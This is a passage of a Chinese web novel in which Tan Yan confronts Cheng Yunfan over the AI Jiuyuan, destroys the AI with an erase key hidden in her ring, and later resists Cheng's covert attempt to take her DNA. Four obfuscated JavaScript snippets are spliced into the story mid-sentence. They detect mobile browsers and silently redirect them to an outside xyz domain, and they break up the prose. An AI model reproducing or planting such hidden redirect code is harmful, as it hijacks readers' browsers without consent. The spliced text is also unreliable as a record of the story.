“很奇怪?科研成本和个人财产根本不能放在一个量级上比,你知道研究所乃至整个系统,为重九渊前期投了多少钱?”程云帆嗤道,“重青当年项目做到一半说停就停,有原则,是吧——可你知道那要赔多少违约金,得罪多少人?如果不是我接手,他到现在都未必还得完债。” 谈焰看着他:“所以你要九渊的核心,就是为了再造出一个专门替你赚钱的机器?” 程云帆眉心微皱了一下:“不是专门用来赚钱的……” 正这时,门外隐隐传来了脚步和人的说话声。应该是短会已经结束,新调查组开始工作了。 门内的两人同时静了一静。片刻后,程云帆转回了话头:“你把你手里的证据给我,我让你……” “我不会给你的。”谈焰毫不犹豫地打断他。 程云帆脸上罕有地出现了一丝近似烦躁的情绪。他说:“你到底要怎么样才能答应?” “别做梦了,我永远、永远不会答应你的。”谈焰说着绕开他,向九渊的方向走去。 九渊就那样望着她,不考虑他处理不了的争执,不思量她与无关紧要的人的谈话,只是望着她。 谈焰伸手向他的后颈,他不能理解这个动作的含义,但仍配合地偏过头。 而就在她要触及那节突起的颈椎时,程云帆快步走上前,一把抓住了她的手腕。九渊被这个变故弄得迷惑了,眼底的蓝色光圈在两人之间反复对焦。 “放开。”谈焰说。 程云帆说:“你想干什么?”这句话的音量有些不受控了,似乎惊动了门外的人,有脚步向这边移近过来。但他没有管,几乎是粗暴地抬起九渊的脸,把谈焰拉到他面前,“你看着它,看仔细了——它为什么会变成这样,你想过吗?” “……” “是因为你,你把它从人造神祇,变成了一个只求现世安稳的普通男人!现在你道德感回来了?觉得谈钱低级了?想让它消失了?你早干什么去了?!啊?你爱的那个东西哪儿哪儿不是钱堆起来的?你跟重青是同一座象牙塔里出来的吗?!” “我甚至没有要求你把神祇还给我,”程云帆扔开九渊的下巴,咬牙切齿道,“我只想自己再造一个,你不同意。你也太自私了,你凭什么……” 砰砰砰—— “谁在里面?”被惊动的工作人员在敲门了,“有人吗?” “要不进去看看吧……”“这里是重要证物室,我们权限不够。” “快去通知组长!” 谈焰转头看向程云帆,最后一次低声说:“放开。” 程云帆不动。他眼底倒映着赤红的一星,是谈焰的眼睛,在下一刻如同孤火燎原而起!谈焰反抓住程云帆的腕骨,一拽、一拧,随着一声骨骼错位的闷响,程云帆身体失衡地向前一晃,继而被她整个人从肩头摔了出去! 作为一个长年泡实验室的技术型中层,程云帆即使身体素质不算差,在压倒性的武力面前也毫无抵抗之力。身体被重重掼在地板上,额头撞上桌角,血立刻涌了出来。 程云帆右手脱臼了,弯折成奇怪的角度,他用左手一点点撑起上身,由于疼痛而发抖的身体无法站起,只能靠着桌脚勉强坐住。 那一瞬,谈焰居然有种意外的感觉——原来这个人也会知道疼。 程云帆大概这辈子都没这么狼狈过,衬衫袖口的扣子崩掉一颗,口袋里的终端身份卡等物品摔散了一地。谈焰踏过这些东西,一步步走到他面前,蹲下。 程云帆抬头看她,猩红的血缓缓淌过苍白的颧骨。 他蓦地笑了。 “来……继续,你继续,你就是杀了我,这个东西——”他说着伸直腿,踢了不远处九渊一脚。 这一下踢在九渊的小腿上,九渊没什么反应,只是疑惑地低头看了一眼,却让程云帆断断续续地倒了一会儿气,才喘息着道,“你杀了我,它也回不来了,你什么都不会有了,芯子不会有,壳子也不会有……处理厂会把它能回收的部分,眼球、心脏等摘取走,然后浸到强酸里,溶蚀皮肤和毛发,金属骨架拿去熔烧……剩余的部分,用微生物降解,最后变成一滩恶心的黏液……咳、咳咳——” 话音未落,谈焰揪着他的前襟,把他从地上提起来。 砰砰砰—— “里面的人听着,我们已经把这里的情况汇报给组长了!”工作人员隔着门大喊,“你们要再不出来,组长就要亲自过来了!” “第一,”谈焰看着程云帆的眼睛,冷冷道,“他在事故发生的那个凌晨就死了,尘归尘,土归土,我已经做好失去一切的准备。而你,也什么都不会得到。” “第二,他不是‘这个东西’,他有名字,他叫重九渊。” 九渊见她在叫自己,他望向她,在一切他理解不了的纷繁纠葛中,他入眼的只有她冷漠但压抑着悲伤的脸。 于是他说:“都过去了,我在。” 程云帆大笑起来。 他的胸腔剧烈起伏,在癫狂的笑声和夹杂的咳嗽声中,他近乎怨毒地说:“从今以后,它再也不会有名字了。” 滴—— 金属大门终于被刷开。一群人拥入门来,为首的是一名中年女士,十几个调查员和工作人员紧随其后,最末尾还跟着一脸担忧的重青。在看清房间里的景象后,所有人都愣住了。好半晌,才有人求助地看向那位女士:“组长,您看这……” 这位女士正是刚上任的新调查组组长。 组长温和地看着面前失态中的两人:“事故的情况,我基本已经了解了。这不是某一个人的问题,酿成一场灾祸的因素有很多,而我们现在最应该做的,是弄清它们,避免悲剧的再发生,而不是把怨气发泄在彼此身上。” 谈焰把视线从程云帆脸上移开,望向她。 重青走上前——没人敢在这个时刻离谈焰太近,于是他独自站到了人群之外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064022|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他低声对谈焰道:“你别冲动,我刚刚和杨组长谈过了,她很专业,也很客观。我们都想用最妥当的方式处理这件事,没有人能威胁你,也没人会让你难堪,你可以相信她。” 组长安静地与谈焰恶鬼般赤红的瞳仁对视,重复了一遍:“我们一起去做些能挽回灾祸的事情,好吗?” 谈焰深深吸了口气。在那道好似谈海峡一般慈慧如炬的眸光下,慢慢冷静下来,松开了手。 程云帆重新脱力跌坐回地上。 谈焰向组长说:“对不起。”组长微点了一下头回应。 接着,谈焰跨过地上的程云帆,走到九渊面前。九渊仍端着那副温柔注视着她,他的眼里只有她一个人:“……我会一直在。” 谈焰落在他后颈的手顿了顿。程云帆又低低地笑起来。 在这个片刻之间,小小的挤满了人的房间里的场景就如同一出荒诞的谐剧——不被承认的死者家属,兀自发笑的利己主义者,以及神态各异的看客,各自贡献着拙劣的表演。而温柔坚定如一的,只有这具没有生命的躯壳。 谈焰按下了关机。 九渊缓缓合上双眼,回归那一场恒久的长梦。 谈焰在沉寂下去的躯壳前站了一会儿,房间里没有人说话。大概是杨组长叮嘱过工作人员,因此这时无人催促,给谈焰足够的时间调整情绪。 不过他们没等太久,谈焰便已转过身,左眼中的炽色已经熄灭,只剩星星点点的余烬。 她对组长道:“抱歉,我未经允许闯入了重要证物室,还打伤了其他调查对象,会耽误调查吗?” “不会……呃,”杨组长看了一眼地上满脸是血的程云帆,噎了一下,改口,“影响不大。我们会议的意见,是打算让你们分别说出各自经历的事实,完全由系统记录,每间谈话室会分配两名审核校对人员,但只负责提供协助以及确认系统记录无误,最大程度减少人为因素干扰。我想这样或许能有助于你们在一种比较放松的状态下还原出事情真相,你觉得可以吗?” 谈焰点点头。 杨组长看向九渊的仿生躯壳:“至于它……很遗憾,目前我们还没达成统一可行的方案。鉴于直接销毁它的难度和成本过高,我们能做的,只有将它的主机群无限期停用封存。不过我相信,在将来,随着技术的发展,总有一天我们能找到一个安全销毁它的方法。” 组长说这话时,程云帆脸上似乎有血流到下巴,他用手抹了一下。又整了整被扯变形的衬衫。 调查员中有几人似乎才注意到他似的,视线若有所思地投向他。 从这短暂的几句交谈中,谈焰大致认同了重青的观点,这位新组长是个可靠的人。但她显然也受着多方外力的制衡,省财政当然不会真的拨出一整年的支出来用于九渊的销毁,但上级部委又必须看到对造成如此严重军事外交事故的人工智能受到了相应处置,因此无限期封存,是杨组长能给出的唯一能让各方都能接受的回答。 但她的权力,也仅限在这一场调查当中。而无限期封存,就是给了程云帆留下无限度的操作空间,潘多拉的盒子还在,未来就还有着无限多种可能。 就连现在,谈焰也看得出,这个调查组里并不是所有人都赞同杨组长的意见。 “不用等将来,”沉默了片刻,谈焰说,“可以直接销毁的。” 众人俱看向她。 杨组长露出些许意外的神情,但还是耐心解释道:“你可能不知道,目前关于机器人保护有一部行业通则,规定了销毁一台人工智能的核心,必须要有……” “erase密码,”谈焰说,“我知道。” 这话一出口,程云帆猝然抬起头,他脸上的笑容消失了。 就连重青也面露愕然,他不确定她说的是不是他想的那个意思。杨组长显然也很惊讶,她征询地看了重青一眼,但没得到任何可以确认的信息,于是试探着又问了一次:“你是说,你知道它的erase密码?” “是的。”谈焰说。在程云帆几乎要将人灼穿的目光中,她抬起左手,轻轻褪下了无名指上的戒指: “——如果我没猜错,他的erase指令,在这里。” 44. 【20】 数据指令条,芯片革命后的信息科学硬件领域发展成果之一。 1mm宽,20mm长,这样微小的体积上,能容纳等同于芯片革命前时代一台中型服务器存储的数据,当然也写得下一串1024位的erase密码。 戒指的材质是铂钴合金,熔点在1400°C左右,而以硅晶体为主要成分的指令条熔点接近1700°C。调查组把戒指送交了专业机构评估,通过体积和质量推断密度,很快就确定戒指内部确实不完全是铂钴合金。 当外层合金以适当的温度被熔化后,藏在里面的erase指令条终于见了天日。 “即使是机器,也不能免于落入以贵重之物表达感情的窠臼。”时至今日,谈焰才明白当九渊为她戴上这枚戒指时,交出的是何等贵重的权力。 ——这世上唯一能杀死他的权力。 调查组对戒指进行评估和处理的这些天里,杨组长所承诺的无人为干涉的谈话也在同时进行着。有被上一任组长当众羞辱问话的经历,谈焰原本以为会遇到一些难以避免的尴尬,但后来事实证明担心完全是多余的,负责审核校对的工作人员与她并不待在同一个空间里,而是里外间,中间有一个小窗相隔。 在她讲述的时候,面前只有一个镜头,而工作人员也不会从窗口审视她,除非她主动开口发问,他们大部分时间都只是看终端上的校对稿。 这场叙述,她没有保留。 九渊被彻底清除的那天,也是谈焰讲述的最后一天。 谈焰走出谈话室,一名工作人员在终端文稿末尾敲下“复核无误”后,抬起头,对她笑道:“辛苦了,谈上尉。” 谈焰说:“你们也辛苦了。” “不辛苦,记录系统准确率很高,我们基本上不需要改什么,”另一名工作人员说着,一边弯腰从工位下拎出一个纸袋,递给谈焰,“我们听你嗓子都讲哑了,怪难受的,点奶茶就顺便给你点了一杯。不过你喝完再出去,理论上我们不允许上班时间点外……” 话音未落,这位工作人员视线落在谈焰身后,眼睛倏尔瞪大,继而把奶茶袋塞回桌子下、把桌上的空杯子扫进垃圾桶、起立这几个动作一气呵成,严肃问好:“组长!” 杨组长穿着一件驼色大衣,腰带结成漂亮的花结,立在走廊的窗边,无奈地看着自己的下属。 “不想被发现,下次你们至少点外卖别留办公室的电话。”整个组的办公室通讯终端都组长都能看到汇总。两个工作人员的表情如遭雷劈。 杨组长没和他们较真,她看向谈焰:“谈上尉,你和我来一下。” 她们一起走出了谈话区,然后杨组长说出了谈焰预感中的事,对九渊的销毁完成了。 “我代表调查组感谢你,”杨组长轻轻握住了谈焰的手,前者的手很温暖,“仅代表我自己,也要感谢你。我们都知道无限期封存这个方案的后患,如果找不到erase指令条,或许我余生都将为在这次调查中的妥协而抱愧。” 谈焰回握了一下:“您太客气了,我只是做了我应该做的。” 说话间,她们行至空无一人等候区。窗外秋光灿烂,天空蓝如水洗。 “有些事情,即使是应该做的,也需要付出很大的勇气,”杨组长目光投向远方的长空,轻声说,“我没有资格代表国家,或是什么更宏大的群体去感谢你。但我一直认为,有些领域,是我们这种生命形态不应该去涉足的。” “基于人类理性而产生的认知界限,不是为了限制,而是为了保护我们。的在漫长的科技史上,或许有过——甚至是很多个,曾越过这条线的人,他们或是窥见了一丁点界限外世界的样貌,就因畏惧而退回来;或是彻底迷失于其中,为那个世界中的幻景所奴役,甚至想要打破两个世界间的壁垒。” “后者一旦发生,对全人类而言,或许都将是灭顶之灾。因此这个世界需要修正者,在灾祸真正降临之前,重新关上那扇门。” 杨组长说到这里,顿了顿,转回视线注视谈焰。琥珀色眸子里盛着一种温柔而悲悯的光。 “所以我想告诉你的是,永远不要为自己的选择而后悔,”她说,“你已经做了现在的自己能做到的,最好的事。” 走廊里,另一间谈话室的门开了。 重青从里面走出来,他看到谈焰和杨组长站在一起,微微愣了一下。继而礼貌地和两人打了招呼。杨组长也把九渊销毁的消息告诉了他,重青沉默了片刻,只点了点头,没说什么。 “重工,谈上尉,对你们的调查到今天就结束了,”杨组长对他们说,“你们可以离开嘉市了。这次的程序对外完全保密,除了陪送人员,原单位的其他人都不会知道你们这段时间离开的原因,所以不用有心理负担。之后如果还有需要补充了解的,我们可能会再联系你们,也希望你们能继续配合。” 重青和谈焰没有异议,杨组长手头还有不少工作,送他们上电梯就离开了。 电梯门缓缓合拢,谈焰按了一层,轿厢一轻,开始下行。 重青和谈焰并肩而立,有限的空间需要一些社交辞令来填充,他随口说:“你和组长相处得不错。” 谈焰点头:“如您所说,她是个值得信赖的人。” “嗯,之前就听人说过,她为人很公正,”重青说,“而且是王院士的学生,虽然不在研究一线了,但至少专业水平有盖章。” 听到后头这句,谈焰忽地怔住了。 杨组长是王院士的学生? 她想起在上一次调查结束那天离开的车上,重青曾告诉过她,王院士在从前的某个阶段也曾研究过可变散列树型算法,最终也突兀地停止了研究,转而投向了保守人工智能领域。 她想起重青的猜测——王院士也造出过,近似于九渊的机械生命。 作为他的学生的杨组长, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064023|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许认识那个机械生命吗? 那是个什么样的生命?它也会叫它的创造者“父亲”吗?也会以人类的幸福为幸福吗?杨组长和它相处得好吗?他们在一起开心吗? 杨组长……也曾经做过“修正者”吗? 重青在光可鉴人的镜面厢壁上望着谈焰的影子,发现她神色不对:“怎么了?” 谈焰方才回过神:“没什么。” 无论是否曾经有过,那都旁人永远无从得而知的故事了。 想到这里,谈焰又看向重青,目光有些复杂:“您之前告诫我,珍惜所拥有的,是早就料到九渊会是这样的结局吗?” 重青摇了摇头。 他靠在一侧厢壁上,向来挺直的脊背微微塌下去。谈焰方才注意到,他的脸色并不好,或许是丧子的折磨,又或许是接连几天不间断的讲述太过熬人,他此刻看上去很疲惫。 “‘彩云易散,霁月难逢,’”几秒后,他才低声说,“一切美好之物,都有期限,早晚而已。” 故相逢或长或短,只要不曾虚度。 就不枉他遍历这人间。 轿厢在一层停稳,电梯门开。 谈焰和重青一前一后走出来。远远地,只见接他们的车都停在大楼外,陈政委和重青的陪送人员相隔不远站着,想来已经接到调查结束的通知,两人姿态都很放松,随意地聊着天。 对程云帆的调查还没结束——由于九渊的项目归属于研究所,他要配合大量的取证工作。加上他之前去医院处理伤口,还耽误了一天。 “对了,”临出大楼前,谈焰对重青说,“您这段时间帮了我很多,我也没什么可回报您的,等下想请您吃个饭,算是表达谢意,好吗?” 她其实早就想请重青吃饭了,只不过之前调查没结束,两人同为调查对象,不好有太多接触。 这边事情告一段落,谈焰明天就要回兰市,重青应该也很快会回北京。现在是下午5点半,去吃个晚饭正合适,他们本就是两个没有交集的人,再见面还不知道是什么时候。 然而重青却说:“不了,我6点40的飞机,行李已经在车上了,待会儿直接去机场。” 谈焰有点意外,没想到他这么着急就要走。 就连陈政委——经过这段时间的相处谈焰发现这人是个卷王,每天她准备去晨跑时居然都能看见他天不亮就在酒店露台上听外语新闻——连他都为调查的顺利结束而松了口气,同意放她和自己半天假,在嘉市稍微转转再回去。 “学校那边有点事,”重青没有多解释,“你的好意我心领了,以后有机会的吧。” 谈焰只好点点头。 两人走出大门,陪送人员上前,替重青开了车门。 重青弯腰坐进车里,转头对她说:“保重了,谈上尉。” “您也是。” 车门关上。谈焰退后一步,目送车辆驶离。 45. 【22】 从嘉市回来后,谈焰的生活回到了正轨。 依然是训练、工作、学习,和谈海峡视频,和朋友聊天,和竺兰新入住的医疗机构的医生沟通诊疗方案……什么都和从前一样。 部队里的各类信息系统在短暂的混乱后,陆续换回了老版系统。 互联网上,网友和审核的较量毫无悬念达成了注定的结局,查谟加尔男孩被炸身亡的消息彻底销声匿迹。但令人意想不到的是,九渊及其相关消息并未成为不可言说的禁词,除了主流媒体接到通知,开始对此缄默不语以外,各个社交平台和论坛并未有限制,网友们仍可以对其进行自由讨论。 然而没有新信息的输入,相关内容的热度降速快得惊人。仅仅几周过去,网上以“1027去哪儿了”“怎么突然没动静了”“不要瞎猜,一定是团队在憋大招搞新功能”为题的讨论发帖数直线下降,靠流量吃饭的各种小报记者和自媒体人闻风而动——这个世界,每天都有那么多大事在发生,有那么多值得追踪的炙手可热的新闻,没有什么值得被念念不忘。 几个月后,当“1027”这个名字终于彻底从人们的视线里消失,一场自上而下的清理整顿,才悄无声息地展开了。 所有与九渊相关的新闻报道、主题帖、撰文、评论,以及含有其形象的图片、视频等,被一夕之间删得干干净净,没有激起任何水花。 后来的一日,当谈焰在终端输入“1027”,刷新几次都得到“没有搜索到相关结果,为您推荐以下内容”的结果后,她突然意识到,在这件事里负责舆论善后的,一定是个非常聪明的人。 如果在事故发生后的短时间内,直接在网络空间里删光和九渊的一切,并禁止相关的讨论发言,就如同在高速上猛踩下急刹车。被从情绪的最高点一刀斩落的人们会产生严重的反弹,这件事、这种情绪,将连同作为起因的九渊一起,在几年、十几年甚至更漫长的时间里,永久刻在人们的记忆中。 集体狂欢是无意识的,而具体的愤怒会绵绵无期。 因此比起手动清除,更明智的办法是等待人们自己遗忘。 谈焰手拿着终端,深吸了一口气。 在刚刚的某一瞬间,她甚至也感到了恍惚,她真的有过一个爱人吗? 会不会从一开始,就是她自己幻想出来的呢? 她缓慢刷过终端推荐的一个又一个新热搜,目光落在自己空荡荡的无名指,不禁苦笑,这现实比做过一场梦还空空荡荡。 然而几秒后,她滑动屏幕的动作蓦地一停,被一条新热搜吸引了目光。 “#程云帆赴京探病,陌路师生终迎和解” 谈焰点开,看到了一组新闻图片,程云帆在医院、程云帆向医生询问病情、程云帆带去的贵价营养品、重青的儿子儿媳向程云帆当面致谢……只有一张病床前的照片,拍到了重青的侧影,还被程云帆递过去的花束挡住了大半。 下面是文字报道,含程量同样相当之高。谈焰拉到最下,才找到寥寥几句对重青病况的描述,他刚动了胃癌手术。 谈焰这才意识到,在嘉市临别时,重青疲惫不堪的状态,以及匆忙赶回北京的安排,或许都与生病有关。 在这个时代,大多数癌症都已不再是不治之症,但术后恢复期仍然充满了凶险和不确定性。 报道称,重青预计在手术后两周出院,程云帆从重青的儿子处得知,他们打算接重青回家休养,遂主动帮忙联系了一家高档私立康复机构,并预交了一年的费用,以确保自己的老师在康复期能得到最好的医疗服务。 重青唯一出镜的那张照片里,他的脸侧对着镜头,谈焰看不清他的表情。 最后一张图,是程云帆抱着重青半岁大的小孙子,那张苍白的脸上展露出家人般温和的笑容,全然不似作伪。 谈焰感受到了莫大的讽刺。 正在这时,她的终端突然震动起来,屏幕上跳出一个陌生号码的来电提示。 她接起来,听筒里传出的是个年轻男声:“喂?您好,请问……是谈焰上尉吗?” 谈焰说:“我是。您是哪位?” 对方报了个名字,介绍说自己是嘉市某研究所的,以前在36军和她见过面。谈焰回忆了一下,才想起他是当初九渊项目团队里的一个技术小哥,当初帮她弄过义眼芯片授权,算是认识。 她问对方什么事。 “是这样,1027在我们研究所这边留下了一些……呃,个人物品,”小哥似乎有点紧张,斟字酌句地说,“我们近期要搬家,这些物品可能要被处理掉了。我想着,如果你需要,可以过来拿走一些,所以冒昧联系了你。” 谈焰颇感意外。 确实是挺冒昧的,她和这个小哥只见过一两次面,不过点头之交,理论上,他绝不可能知道她和九渊的关系。 虽然事情可能没有表面上那么简单,但九渊的遗物对谈焰还是有绝对的吸引力。或许是因为授意小哥打这个电话的人早就清楚这点,所以连掩饰都懒得掩饰。 她说:“好,我什么时候过去方便?” 小哥松了一口气:“随时,你来就行,我等下把具体地址发你。你到的时候给我打电话,我去接你。” 谈焰其实一直知道这家研究所的地址。 甚至它周边的环境、哪条路晚高峰容易堵车、哪家餐馆的外卖最受研究团队的同事们欢迎……她都一清二楚。这是她第三次来嘉市,却是第一次来这里。 她只有一天假,晚上就要赶回兰市,因此很希望小哥手头没有其他事情耽搁。但这个担心随即被证明完全是多余的,她电话打过去后,没过两分钟,小哥就从研究所的大楼里出来了。 身为一个典型不擅言辞研的年轻技术人员,小哥拿出全部社交技能和她寒暄:“好久不见,谈上尉,听说您进‘凤凰’了,我还来没得及恭喜您。” 最后这句,与其说“我还没来得及恭喜您” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064024|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还不如说“上次打电话时我还没做好功课”。 谈焰笑笑:“谢谢,我们现在进去?” “要先去传达室办一下手续,”小哥带着她走向大楼一旁的侧门,解释道,“我们是保密单位,所以访客进出控制得很严格,你别介意啊。” 进了侧门,是一条狭窄的走廊。谈焰随着小哥进到一个房间,房间里放置着一台机器,从外表看不出用途。机器中部有个一块镶黑色玻璃板的区域,谈焰猜想是用来刷身份卡的。 没想到,小哥走上前操作了一会儿,那块黑色玻璃板向上翻了起来,露出一套类似医院使用的自动采血仪的装置。 “需要采集你的DNA,”顶着谈焰怀疑的目光,小哥硬着头皮说,“你把手放在这里就行了,很快的,也不疼,就像体检一样。” 谈焰说:“进个门就需要采DNA?” 小哥点头:“是、是的……” 谈焰站着没动,似笑非笑地看了他一会儿,说:“那算了,东西我不要了。” 小哥的神情顿时变得惊慌,见她似乎态度坚决没有可商量的意思,他连忙道:“你先别走,在这儿等一下,我去打个电话。”谈焰不反对,任由他去。过了几分钟,小哥满头大汗地回来,带着她去到了真正的传达室,刷了一下她的身份卡,办好了临时出入证。 九渊的遗物在一间办公室里。 据带谈焰来的小哥介绍,在不必配合研究或在其它场合出面的时候,大部分时间里,九渊的仿生躯壳都会待在这间办公室。从某种意义上讲,这是它的“家”。 30平米,一套桌椅,一面书柜,一张会客沙发构成的“家”。 小哥给她把门打开后就离开了,因此谈焰得以不必刻意掩藏情绪地,细细打量这个九渊曾经生活过的空间。 九渊留下的物品其实很少,几本纸质书、几件衣服,窗台上有一盆绿植。 书柜里是大小几个相框,是九渊和研究团队成员的合影。由于他们曾一度频繁地出现九渊和她的聊天里,谈焰发现她能根据特征把其中大多数人和名字对上号。 她一一擦拭干净相框表面的浮尘,用泡沫海绵包好,收进带来的箱子。 办公桌上有一台终端,但是研究所统一配的办公设备,不能带走。 谈焰拉开桌面下的抽屉,在里面找到了几个纪念章,是九渊参加过的活动或获过的荣誉,其中就包括他在第一届“信战”评审会上获得的那枚金奖纪念章。 谈焰当时看的是评审会转播,还是第一次这么近见这枚纪念章的实物,才发现它相当精美,很有设计感的“信战”两个字被一圈浮雕环绕。她想近看浮雕的图案,于是打开盒子,在纪念章被取出的一瞬间,压在暗红色绒布下方的,另一个东西跟着掉了出来。 谈焰拾起那个东西,倏地怔住了。 一条黑色皮筋,缀一个小小的火焰形的金属吊坠。 ——那是她的发圈。 46. 【24】 谈焰从办公室出来的时候,带她来的技术小哥还等在门口。发现她眼角泛着红,小哥有些尴尬地挠了挠头。 “谈上尉,收拾好了?” 谈焰嗯了一声,嗓音还带着点鼻音,但神态已经恢复正常,把手里提的箱子递给他:“我想带走这些,你需要检查吗?” “啊……不用不用,”小哥摇了摇头,又犹豫了一下,才期期艾艾地开口,“那个……其实是这样,我们程主任想让您去找他一趟。” 他可算把这句话说出来了,谈焰没打算为难他:“我知道了,带我过去吧。” 程云帆的办公室在这一层走廊的尽头。 同样是30平米,一套桌椅,一面书柜,一张会客沙发,连格局、朝向都和九渊的那间办公室一模一样。谈焰在步入其间的一瞬,甚至感觉这里比后者更加规整、冰冷,不近人情。她想起九渊曾说程云帆经常住在研究所,但在这个房间里,难以感受到一丝一毫的生活气息。 程云帆的书柜里除了专业书,摆满玻璃格架的,是各种项目、产品获奖和论文收录、专利证书,连一张合影也没有。 或许也确实没有人配和这样的他合影吧。 “谈上尉,”见她进来,程云帆礼节性起身,示意办公桌对面的另一张椅子,“坐。” 去探病重青那次,他额头上的伤应该是用化妆品遮盖过了。此时近距离看,谈焰发现他眉骨上方仍留着一道疤,暗红色,像干涸的一抹朱砂。 谈焰在桌边坐下。程云帆问她:“喝茶可以吗?” 她说可以。程云帆就转身去给她泡茶,送她的小哥见状,连忙上前道:“程主任你们谈,我来吧。” 程云帆低着头拿茶匙往杯子里拨茶叶,说:“不用。” 等到茶泡好,程云帆把杯子搁在谈焰面前的桌上。小哥四下看看,发现确实没什么需要自己干的活儿了,才对程云帆说:“那程主任,我回办公室了。您有事就打电话叫我啊。”这才恭恭敬敬带上门出去。 谈焰从看得出他对程云帆是发自内心的尊敬和崇拜。 关门声落下,办公室里只剩程云帆和谈焰两个人。程云帆换回了那张面无表情的脸,由于破相而显得更加寡情薄意。左右他们二人间的面子早已撕破,谈焰也没再多同他废话,径直问:“你采我DNA做什么?” 程云帆手肘支在办公桌面上,盯着她的脸看了一会儿。 然后他说出了一句出乎她意料之外的话:“重九渊捏外壳的时候也用了你的基因,你知道吗?” 谈焰不知道。 但在短暂的错愕后,她又感到合情合理。九渊喜欢用熟悉的人的基因这事她是知道的,重青、程云帆的基因都在他提取之列,再取一部分她的,也完全像是他会做的事。 她问:“比例多少?” 程云帆说:“2%。” 她说:“其他的呢?” “有我的3%,重青15%,”程云帆说,“其他都是非特异基因序列。” 非特异基因序列,即同一物种中表达为共性的基因序列,大约占到其全部基因片段的80%。而一个个体的特异性表达,则是由那关键20%决定的。 程云帆说:“我现在有个猜测,重九渊之所以最后能演化出独立核心,和它的基因组合有很大关系。” “怎么可能?”谈焰不理解道,“DNA只跟仿生外壳有关。而躯壳只是个终端,根本不是他的组成部分,你自己说的。” “是我当时想简单了,”程云帆说,“除了外貌,DNA同时也会包含性格、智力等因素。这些因素会在一定程度上影响它的行为输出,从而反过来再次作用于它的遍历路径——我举个例子,就说躯壳是个音箱,作用只是发声,至于发什么声是由主机决定的。但不同品质的音箱,会产生不同的音效,这种音效会成为它发出声波的一部分被主机记录下,然后再用这个音箱播放出来。” “一两次可能听不出区别,但无限循环下去,到最后主机里记录下的声音,必定会彻底偏离初始的那段声音。” 谈焰说:“听上去只是个猜测。” 她不认为程云帆短时间内能研究明白这种偏离产生的具体原因。否则当初,他也不用那么费尽心机想要拿走九渊的核心了。 程云帆不否认:“是猜测,所以需要实证。” 谈焰有不好的预感:“怎么证?” 程云帆没答这话。 他手指轻轻叩击着桌面,指尖不时触上光可鉴人的黑色大理石表面上的倒影。隔了一会儿,他突然转了个话题,道:“你知道重青延迟退休了吗?” 谈焰露出有些意外的神色。 她记得重青原定的退休时间是在今年年底。之前看到他做手术的新闻,她甚至以为他会提前退。 “他胃癌查出来的时候已经中期了,”程云帆说,“低分化胃癌,预估手术后寿命在5到10年,所以他不想干了,打算退休回家抱几年孙子。但后来手术的情况比想象乐观,他应该还能活很久。上周,他提了延退申请。” 谈焰微挑了挑眉。 她没问程云帆是怎么知道的,重青的儿子儿媳给对他千恩万谢的照片她还历历在目。 她说:“他延退,跟你有什么关系?” “重青手里有重九渊的初代架构和代码,”程云帆说,“我了解到的消息,他在准备一个新项目立项,以这个初代架构为蓝本,在严格限制遍历参数的条件下重建一个系统。也就是说,会牺牲一部分系统的智能性,但是绝对安全。” 程云帆说到这里时的表情很复杂,不客气地说,在他看来重青的研究方向毫无价值,他也丝毫没有兴趣苟同。但在客观的层面上,来自昔日老师的威胁又让他微微焦躁: “他这个项目一旦真做起来,很有可能拿下下一届‘信战’的金奖资金支持,到时我跟他的关系,就像上一届重九渊和潜翼的关系,只能上一个。而且相关的政府招标项目,他也有很大优势……” 说来说去,又回到钱的问题上了。 但谈焰今天的情绪很冷静,不想评价,也不想对他动手了。她只问:“所以呢,你想赢他,拿我的DNA干什么?再捏一个躯壳验证你的猜测?” 程云帆摇了摇头:“不是躯壳。法律对定制仿生躯壳有严格的限制,为了避免伦理困境,20年内,任意两名以上供给者的DNA只能进行一次编译组合。所以现在除了低等智能管家那种流水线,任何定制公司都做不了两具一模一样的躯壳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064025|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 